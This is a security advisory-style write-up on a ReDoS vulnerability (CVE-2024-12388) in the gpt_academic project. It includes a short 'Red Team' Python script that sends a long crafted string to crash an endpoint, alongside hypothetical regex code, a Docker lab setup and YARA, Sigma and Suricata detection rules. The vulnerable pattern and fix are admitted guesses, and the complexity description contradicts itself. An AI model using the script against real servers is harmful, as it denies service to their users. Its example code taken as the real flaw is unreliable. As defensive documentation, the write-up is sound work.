CVE-2024-12388

Executive Summary

CVE-2024-12388 is a Regular Expression Denial of Service (ReDoS) vulnerability identified in the binary-husky/gpt_academic project, specifically in commit 310122f. The vulnerability allows an attacker to craft a small malicious payload that, when processed by the application's regex engine, causes catastrophic backtracking. This results in the server becoming unresponsive, effectively denying service to legitimate users. The CVSS score of 6.5 (Medium) reflects the high availability impact but no confidentiality or integrity loss. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a Python-based open-source project (gpt_academic). As a PyPI package, it is critical to verify the integrity of the package and its dependencies. Users should monitor the official repository for patch releases and consider pinning to a known-safe version if available. The lack of a patch increases supply chain risk, as unpatched instances may be targeted in automated attacks.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerability does not cross trust boundaries.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete denial of service.

Threat Level: Medium. The attack is easy to execute but only impacts availability. However, in a production environment, this can lead to significant downtime.

Deep Dive & Mechanics

The vulnerability lies in the regex pattern used to parse user input within gpt_academic. The specific regex is not publicly disclosed, but it is known to exhibit polynomial-time complexity (catastrophic backtracking) when processing certain crafted inputs. This occurs when the regex contains nested quantifiers (e.g., (a+)+$) or overlapping alternations, causing the engine to explore an exponential number of paths.

Attack Flow:

1. The attacker sends a small HTTP request containing a malicious string (e.g., aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!).
2. The application's regex engine attempts to match this string against the vulnerable pattern.
3. Due to the pattern's structure, the engine enters a state of catastrophic backtracking, consuming 100% CPU for an extended period.
4. The server becomes unresponsive to other requests, resulting in a denial of service.

Root Cause: The regex pattern lacks proper anchoring or atomic grouping to prevent backtracking. For example, a pattern like ^([a-z]+)+$ is vulnerable, while ^(?>[a-z]+)+$ (using atomic groups) is not.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical example of the vulnerable pattern and a potential fix.

Vulnerable Code (Python):

import re

def parse_input(user_input):
    # Vulnerable regex with nested quantifiers
    pattern = r'^([a-z]+)+$'
    if re.match(pattern, user_input):
        return True
    return False

Patched Code (Hypothetical):

import re

def parse_input(user_input):
    # Patched regex using atomic group to prevent backtracking
    pattern = r'^(?>[a-z]+)+$'
    if re.match(pattern, user_input):
        return True
    return False

Alternatively, a simpler fix is to limit input length or use a non-regex parser.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of gpt_academic (commit 310122f).
• Python 3.x with requests library.

Exploit Script:

import requests
import time

target_url = "http://target:port/endpoint"
payload = "a" * 100 + "!"  # Adjust length to trigger ReDoS

print(f"[*] Sending malicious payload to {target_url}")
start = time.time()
try:
    response = requests.get(target_url, params={"input": payload}, timeout=10)
except requests.exceptions.Timeout:
    print("[+] Server timed out - ReDoS successful!")
except Exception as e:
    print(f"[-] Error: {e}")
print(f"[*] Elapsed: {time.time() - start:.2f}s")

Expected Outcome: The server becomes unresponsive for the duration of the regex processing (potentially minutes).

Blue Team

Detection & Mitigation:

1. Input Validation: Reject inputs exceeding a reasonable length (e.g., 100 characters).
2. Regex Hardening: Replace vulnerable patterns with atomic groups or possessive quantifiers.
3. Rate Limiting: Implement per-IP rate limiting to slow down attackers.
4. Timeout: Set a maximum execution time for regex operations (e.g., using re.match with a timeout via signal).
5. WAF Rules: Deploy a Web Application Firewall (WAF) to block suspicious patterns (e.g., long strings of repeated characters).

Lab Setup:

• Use Docker to deploy the vulnerable version:

docker pull binary-husky/gpt_academic:310122f
docker run -d -p 8080:8080 binary-husky/gpt_academic:310122f

• Test the exploit against the local instance.

Indicators of Compromise (IOCs)

• Network: HTTP requests with extremely long query strings (e.g., ?input=aaaaaaaa...).
• System: High CPU usage (100%) on the server process.
• Logs: Application logs showing repeated regex match attempts with long input strings.
• File: No file-based IOCs.

Detection Engineering

YARA Rule

rule ReDoS_gpt_academic {
    meta:
        description = "Detects ReDoS payloads targeting gpt_academic"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12388"
    strings:
        $payload = /[a-z]{100,}[^a-z]/  // Long string of lowercase letters followed by non-letter
    condition:
        $payload
}

Sigma Rule

title: ReDoS Attack Against gpt_academic
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with long strings of repeated characters, indicating a ReDoS attempt.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
    condition: selection
falsepositives:
    - Legitimate long input (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12388 ReDoS Attempt"; flow:to_server; content:"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; http_uri; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable or restrict access to the vulnerable endpoint until a patch is applied.
2. Short-term: Implement input length limits (e.g., max 100 characters) and regex timeouts.
3. Long-term: Update to a patched version once released by the vendor. Monitor the official GitHub repository for updates.
4. Compensating Controls: Deploy a WAF with rules to block ReDoS patterns, and use rate limiting to mitigate automated attacks.

Valters IT
Securing Digital Frontiers